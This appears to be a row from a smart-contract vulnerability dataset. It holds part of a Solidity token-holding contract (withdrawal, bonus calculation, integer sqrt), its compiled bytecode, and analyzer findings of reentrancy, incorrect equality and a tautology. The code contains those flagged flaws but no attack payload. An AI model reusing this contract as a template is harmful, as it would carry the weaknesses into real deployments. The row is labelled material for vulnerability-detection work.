record.lrcAmount -= lrcWithdrawalBase;
if (record.lrcAmount == 0) {
delete records[msg.sender];
} else {
records[msg.sender] = record;
}
Withdrawal(withdrawId++, msg.sender, lrcAmount);
require(Token(lrcTokenAddress).transfer(msg.sender, lrcAmount));
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
}
function getBonus(uint _lrcWithdrawalBase) constant returns (uint) {
return internalCalculateBonus(lrcBalance() - lrcDeposited,lrcDeposited, _lrcWithdrawalBase);
}
function internalCalculateBonus(uint _totalBonusRemaining, uint _lrcDeposited, uint _lrcWithdrawalBase) internal constant returns (uint) {
require(_lrcDeposited > 0);
require(_totalBonusRemaining >= 0);
// The bonus is non-linear function to incentivize later withdrawal.
// bonus = _totalBonusRemaining * power(_lrcWithdrawalBase/_lrcDeposited, 1.0625)
return _totalBonusRemaining
.mul(_lrcWithdrawalBase.mul(sqrt(sqrt(sqrt(sqrt(_lrcWithdrawalBase))))))
.div(_lrcDeposited.mul(sqrt(sqrt(sqrt(sqrt(_lrcDeposited))))));
}
function sqrt(uint x) internal constant returns (uint) {
uint y = x;
while (true) {
uint z = (y + (x / y)) / 2;
uint w = (z + (x / z)) / 2;
if (w == y) {
if (w < y) return w;
else return y;
}
y = w;
}
}
}
|
0x606060405236156100d55763ffffffff60e060020a6000350416630ebb172a811461012c5780630fc33bb71461015157806336d43c24146101765780634aa66b281461019b5780634c0a6532146101c3578063587419d5146101f25780636c8250351461021757806373c4942a146102215780638da5cb5b146102465780639852099c146102755780639890220b1461029a578063a8c499a0146102af578063ab4b4def146102d4578063be9a6555146102f9578063c99f33571461030e578063d678ba4814610333578063fd090e471461033d575b5b600354600090116100e657600080fd5b60035442101580156100fa57506004544211155b1561010c57610107610362565b610128565b600454421115610123576101076105c3565b610128565b600080fd5b5b5b005b341561013757600080fd5b61013f610806565b60405190815260200160405180910390f35b341561015c57600080fd5b61013f61080e565b60405190815260200160405180910390f35b341561018157600080fd5b61013f610887565b60405190815260200160405180910390f35b34156101a657600080fd5b61013f60043561088d565b60405190815260200160405180910390f35b34156101ce57600080fd5b6101d66108af565b604051600160a060020a03909116815260200160405180910390f35b34156101fd57600080fd5b61013f6108be565b60405190815260200160405180910390f35b6101286105c3565b005b341561022c57600080fd5b61013f6108c4565b60405190815260200160405180910390f35b341561025157600080fd5b6101d66108ca565b604051600160a060020a03909116815260200160405180910390f35b341561028057600080fd5b61013f6108d9565b60405190815260200160405180910390f35b34156102a557600080fd5b6101286108df565b005b34156102ba57600080fd5b61013f6109ff565b60405190815260200160405180910390f35b34156102df57600080fd5b61013f610a05565b60405190815260200160405180910390f35b341561030457600080fd5b610128610a0c565b005b341561031957600080fd5b61013f610a78565b60405190815260200160405180910390f35b610128610362565b005b341561034857600080fd5b61013f610a80565b60405190815260200160405180910390f35b60008060008060035411151561037757600080fd5b341561038257600080fd5b600354421015801561039657506004544211155b15156103a157600080fd5b60008054600160a060020a031693506104a590849063dd62ed3e90339030906040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561040c57600080fd5b6102c65a03f1151561041d57600080fd5b5050506040518051905084600160a060020a03166370a082313360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561047e57600080fd5b6102c65a03f1151561048f57600080fd5b505050604051805191905063ffffffff610a8716565b9150600082116104b457600080fd5b50600160a060020a033316600081815260056020526040908190208054840181554260018083019190915560028054860190556006805491820190559092917feaa18152488ce5959073c9c79c88ca90b3d96c00de1f118cfaad664c3dab06b9919085905191825260208201526040908101905180910390a282600160a060020a03166323b872dd33308560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561059757600080fd5b6102c65a03f115156105a857600080fd5b5050506040518051905015156105bd57600080fd5b5b505050565b6000806000806000806003541115156105db57600080fd5b600254600090116105eb57600080fd5b600160a060020a033316600090815260056020526040902060018101549095506302c7ea000142101561061d57600080fd5b84546000901161062c57600080fd5b84549350600034111561065f5761065c61064f346298968063ffffffff610aa116565b859063ffffffff610a8716565b93505b6106688461088d565b925061067261080e565b91506106868285850163ffffffff610a8716565b600280548690039055855485900380875590915015156106c457600160a060020a0333166000908152600560205260408120818155600101556106ea565b600160a060020a0333166000908152600560205260409020855481556001808701549101555b6007805460018101909155600160a060020a033316907f37e8063b72a944a76de602f32b82fd8c2a1c6f99564c727ffaf913c7762cd420908360405191825260208201526040908101905180910390a260008054600160a060020a03169063a9059cbb90339084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561079c57600080fd5b6102c65a03f115156107ad57600080fd5b5050506040518051905015156107c257600080fd5b60003411156107fd57600160a060020a0333163480156108fc0290604051600060405180830381858888f1935050505015156107fd57600080fd5b5b5b5050505050565b6302c7ea0081565b60008054600160a060020a03166370a0823130836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561086757600080fd5b6102c65a03f1151561087857600080fd5b50505060405180519150505b90565b60075481565b60006108a760025461089d61080e565b0360025484610ad0565b90505b919050565b600054600160a060020a031681565b60035481565b60045481565b600154600160a060020a031681565b60065481565b60015460009033600160a060020a039081169116146108fd57600080fd5b6000600354118015610917575063058fd400600354014210155b151561092257600080fd5b61092a61080e565b90506000811161093957600080fd5b60008054600154600160a060020a039182169263a9059cbb929091169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109a257600080fd5b6102c65a03f115156109b357600080fd5b5050506040518051905015156109c857600080fd5b7fdef931299fe61d176f949118058530c1f3f539dcb6950b4e372c9b835c33ca078160405190815260200160405180910390a15b50565b60025481565b6298968081565b60015433600160a060020a03908116911614610a2757600080fd5b60035415610a3457600080fd5b426003819055624f1a0081016004557e6e0c97de781a7389d44ba8fd35d1467cabb17ed04d038d166d34ab819213f39060405190815260200160405180910390a15b565b63058fd40081565b624f1a0081565b6000818310610a965781610a98565b825b90505b92915050565b6000828202831580610abd5750828482811515610aba57fe5b04145b1515610ac557fe5b8091505b5092915050565b6000808311610ade57600080fd5b6000841015610aec57600080fd5b610b6d610b20610b13610b04610b04610b0488610b77565b610b77565b610b77565b610b77565b859063ffffffff610aa116565b610b61610b54610b47610b04610b04610b0489610b77565b610b77565b610b77565b610b77565b869063ffffffff610aa116565b879063ffffffff610aa116565b9063ffffffff610be716565b90505b9392505050565b60008181805b60028386811515610b8a57fe5b048401811515610b9657fe5b04915060028286811515610ba657fe5b048301811515610bb257fe5b04905082811415610bd55782811015610bcd57809350610bde565b829350610bde565b5b809250610b7d565b5b505050919050565b6000808284811515610bf557fe5b0490508091505b50929150505600a165627a7a723058207f01ea77587ad81239b192b060b386e4d055ce7593451f9e0cdef432ae65f9f50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 2,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.